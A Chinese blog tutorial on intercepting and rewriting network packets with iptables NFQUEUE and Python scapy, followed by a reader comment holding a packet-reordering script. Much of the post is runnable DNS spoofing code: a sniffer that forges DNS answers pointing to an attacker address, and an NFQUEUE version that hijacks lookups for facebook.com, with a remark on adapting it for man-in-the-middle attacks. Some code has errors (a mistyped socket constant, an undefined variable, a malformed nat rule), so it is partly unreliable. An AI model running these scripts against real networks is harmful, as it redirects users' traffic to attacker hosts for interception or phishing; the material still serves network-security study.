Scapy + Nfqueue

本文详细介绍了如何使用iptables的NFQUEUE目标和scapy库进行数据包拦截、修改和转发,包括监听数据、注入数据、DNS欺骗等应用场景,并提供了完整的示例代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

背景1  Nfqueue

Nfqueue是iptables和ip6tables的target,这个target可以将数据包交给用户空间。比如,下面的一个iptables规则

<span style="font-size:18px;">iptables -A INPUT -j NFQUEUE --queue-num 0</span>

那么在用户空间,可以使用libnetfilter_queue来连接到queue  0(默认)并且从内核获得该消息,然后,必须给出对这个数据包的裁决(Drop,Accept等等)

一般在iptables中的target有以下五种(ACCEPT,DROP,RETURN,QUEUE,other_chain,而NFQUEUE是QUEUE的扩展。相比于QUEUE,它可以由用户指定不同的queue number。

(The NFQUEUE target is used much the same way as the QUEUE target, and is basically an extension of it. The NFQUEUE target allows for sending packets for separate and specific queues. The queue is identified by a 16-bit id.

This target requires the nfnetlink_queue kernel support to run. For more information on what you can do with the NFQUEUE target, see the QUEUE target.)

背景2  scapy

之前写过一篇博客Scapy基础学习
监听数据:

<span style="font-size:18px;">from scapy.all import *
def callback(pkt):
    if pkt.haslayer(TCP):
        print pkt.summary()
        print pkt.show()
        print pkt[TCP] 
sniff(filter=”port 80”, prn=callback, store=0, iface=’wlan0’)</span>

注入数据

<pre name="code" class="html"><span style="font-size:18px;">pkt=Ether()/IP(dst="new.ycombinator.com")/TCP()/"GET /index.html HTTP/1.0 \n\n"
send(pkt)</span>
 
一个dns_spoof示例: 

<span style="font-size:18px;">from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '192.168.115.110'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)</span>

Scapy + nfqueue 数据包拦截,修改和转发

和C的libipq比起来,支持python的nfqueue会显得强大很多。

先看一个简单的例子:

import nfqueue
from scapy.all import *
import os
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    payload.set_verdict(nfqueue.ACCEPT)
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_NET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
main()
再看如何修改:

import nfqueue
from scapy.all import *
import os
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    if pkt.haslayer(DNSQR): # Beginning modifications
        pkt[IP].dst = '192.168.115.118'
        pkt[IP].len = len(str(pkt))
        pkt[UDP].len = len(str(pkt[UDP]))
        del pkt[IP].chksum
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
main()

注:这里需要关注payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)),这个是使用iptables和nfqueue来发送数据,也可以不使用set_verdict_modified()函数。在callbak里可以这样操作:

payload.set_verdict(NF_DROP) 
。。。
copy the packet
make modifications
。。。
send(modified_packet) 

上一个完整的dns-sproof示例

import nfqueue
from scapy.all import *
import os
domain = 'facebook.com'
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    if not pkt.haslayer(DNSQR):
        payload.set_verdict(nfqueue.NF_ACCEPT)
    else:
        if domain in pkt[DNS].qd.qname:
            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))
            payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
            print '[+] Sent spoofed packet for %s' % domain
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
        sys.exit('losing...')
main()

如果是中间人攻击的话,iptables规则需要修改成os.system('iptables -t nat PREROUTING -p udp --dport 53 -j NFQUEUE')才会起作用。



相关资料:

http://security.maruhn.com/netfilter-hacking-howto/

http://www.grep.it/RMD/05-Netfilter.pdf

http://security.maruhn.com/iptables-tutorial/x9983.html

http://bbs.chinaunix.net/thread-1939832-1-1.html

http://bbs.chinaunix.net/thread-1960139-1-1.html

http://dac01.sakura.ne.jp/projects/firewall/iptips.html

http://sourcecodebrowser.com/nfqueue-bindings/0.1/nfq__common_8c.html

http://ytliu.info/blog/2013/03/29/netfilterxue-xi-bi-ji-(er-)/

http://stackoverflow.com/questions/27244736/wrong-tcp-checksum-calculation-by-scapy


from netfilterqueue import NetfilterQueue from scapy.all import IP, TCP, send, conf import subprocess import logging import threading from queue import Queue from concurrent.futures import ThreadPoolExecutor # 数据包队列 packets_queue = Queue() # 使用线程安全的队列 queue_length = 5 # 队列长度阈值 packet_send_queue = Queue() # 使用线程安全的队列 # 线程池 executor = ThreadPoolExecutor(max_workers=10) # 设置线程池大小 # 定义数据包处理函数 def process_packet(packet): print(f"拦截到一个数据包,大小:{len(packet.get_payload())}") scapy_packet = IP(packet.get_payload()) # 将数据包转换为 Scapy 对象 packets_queue.put(scapy_packet) packet.drop() # 丢弃拦截的数据包 # 处理队列中的数据包 def handle_packet_queue(): global queue_length while True: if not packets_queue.empty(): scapy_packet = packets_queue.get() # 在这里可以对 scapy_packet 进行进一步的处理 # 检查 TCP 标志 if scapy_packet.haslayer(TCP): tcp_flags = scapy_packet[TCP].flags if tcp_flags & 0x02: # SYN 标志为 1 logging.debug("SYN 标志为 1,正常发送数据包") send(scapy_packet, verbose=False) elif tcp_flags & 0x01: # FIN 标志为 1 logging.debug("FIN 标志为 1,正常发送数据包") send(scapy_packet, verbose=False) else: # 将数据包存入线程安全的队列 packet_send_queue.put(scapy_packet) # 如果队列已满队列长度阈值个数据包,则发送 if packet_send_queue.qsize() >= queue_length: send_packets() else: send(scapy_packet, verbose=False) # 按 TCP 序列号正序发送数据包 def send_packets(): logging.debug("开始发送数据包队列中的数据包") try: # 从队列中获取所有数据包 packets = [] while not packet_send_queue.empty(): packets.append(packet_send_queue.get()) # 按 TCP 序列号排序 packets.sort(key=lambda pkt: pkt[TCP].seq) # 依次发送数据包 for packet in packets: send(packet, verbose=False) except Exception as e: logging.error(f"Error sending packets: {e}") # 设置 iptables 规则 def setup_iptables(port, queue_num): logging.debug(f"设置 iptables 规则,将端口 {port} 的数据包转发到队列 {queue_num}...") try: subprocess.run([ "sudo", "iptables", "-I", "OUTPUT", "-p", "tcp", "--sport", str(port), "-j", "NFQUEUE", "--queue-num", str(queue_num) ], check=True) except subprocess.CalledProcessError as e: logging.error(f"Error setting iptables rules: {e}") # 清理 iptables 规则 def cleanup_iptables(): logging.debug("清理 iptables 规则...") try: subprocess.run(["sudo", "iptables", "-F"], check=True) except subprocess.CalledProcessError as e: logging.error(f"Error cleaning up iptables rules: {e}") # 主函数 def main(): port = 8080 # 监听的端口 queue_num = 0 # NetfilterQueue 队列编号 # 设置默认接口 conf.iface = "ens33" # 设置 iptables 规则 setup_iptables(port, queue_num) # 显式启动处理线程 threading.Thread(target=handle_packet_queue, daemon=True).start() # 创建 NetfilterQueue 对象并绑定到队列编号 nfqueue = NetfilterQueue() nfqueue.bind(queue_num, process_packet) logging.debug(f"开始监听端口 {port} 的数据包...") # 启动线程池处理队列中的数据包 executor.submit(handle_packet_queue) try: nfqueue.run() except KeyboardInterrupt: logging.debug("停止监听...") except Exception as e: logging.error(f"Error in NetfilterQueue: {e}") finally: nfqueue.unbind() cleanup_iptables() if __name__ == "__main__": main()
最新发布
04-03
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值